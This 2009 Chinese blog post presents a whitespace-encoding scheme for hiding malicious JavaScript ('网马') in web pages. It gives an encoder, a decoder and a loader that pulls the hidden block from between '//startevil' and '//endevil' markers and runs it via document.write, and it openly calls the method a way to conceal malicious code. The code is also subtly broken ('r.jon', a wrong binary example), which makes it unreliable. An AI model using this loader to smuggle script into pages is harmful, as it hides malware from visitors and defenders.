首页 > 编程地带 > jvascript字节流加密

jvascript字节流加密

2009年8月5日 发表评论 阅读评论

我们先看如下加密函数:

function dehydrate(s) {<br />  var r = new Array();<br />  for (var i=0; i < s.length ; i++)<br />  {<br />    for (var j=6; j >= 0 ; j-- )<br />    {<br />      if (s.charCodeAt(i) & (Math.pow(2,j)) )<br />      {<br />        r.push(&#039; &#039;);<br />      } else {<br />        r.push(&#039;&#92;t&#039;);<br />      }<br />    }<br />  }<br />  r.push(&#039;&#92;n&#039;);<br />  return r.join(&#039;&#039;);<br />}

将一个包含任意字符的字符串转换为一个只包含空白字符的字符串,而这些空白字符实际上表示了原字符串中对应字符的字节流。一个空格表示1,一个制表符(Tab)表示0,而换行符则表示字节流的结束。例如:a = 空格 空格 制表 制表 制表 制表 空格开头 = 110001 = 97 .我们对一段网马进行加密后变成如下代码:

//startevil<br />                        <br />                    <br />//endevil

请注意,注释的中间关非空白,而是加密后的代码。我们将其代码放入网页中,然后使用解密函数进行解密:

function hydrate(s) {<br />  var r = new Array();<br />  var curr = 0;<br />  while(s.charAt(curr) != &#039;&#92;n&#039;) {<br />    var tmp = 0;<br />    for (var i=6; i>=0 ; i-- )<br />    {<br />      if (s.charAt(curr) == &#039; &#039;)<br />      {<br />        tmp = tmp &#124; (Math.pow(2,i));<br />      }<br />      curr++;<br />    }<br />    r.push(String.fromCharCode(tmp));<br />  }<br />  return r.jon(&#039;&#039;);<br />}

当我们把代码放入页面时,还要对其取出:

var html = document.body.innerHTML;<br />var start = html.indexOf("//startevil");<br />var end = html.indexOf("//endevil");<br />var code = html.substring(start,end);<br />document.write(hydrate(code));

这种使用空白字符串的加密方法,能够在光天化日之下非常有效的隐藏恶意的Javascript代码。

转载请注明:woyigui's blog [http://www.woyigui.cn/]
本文标题:jvascript字节流加密
本文地址:http://www.woyigui.cn/2009/08/05/hydrate/

  1. usage
    2009年12月29日15:21 | #1

    绝!

    [回复]

  1. 本文目前尚无任何 trackbacks 和 pingbacks.
*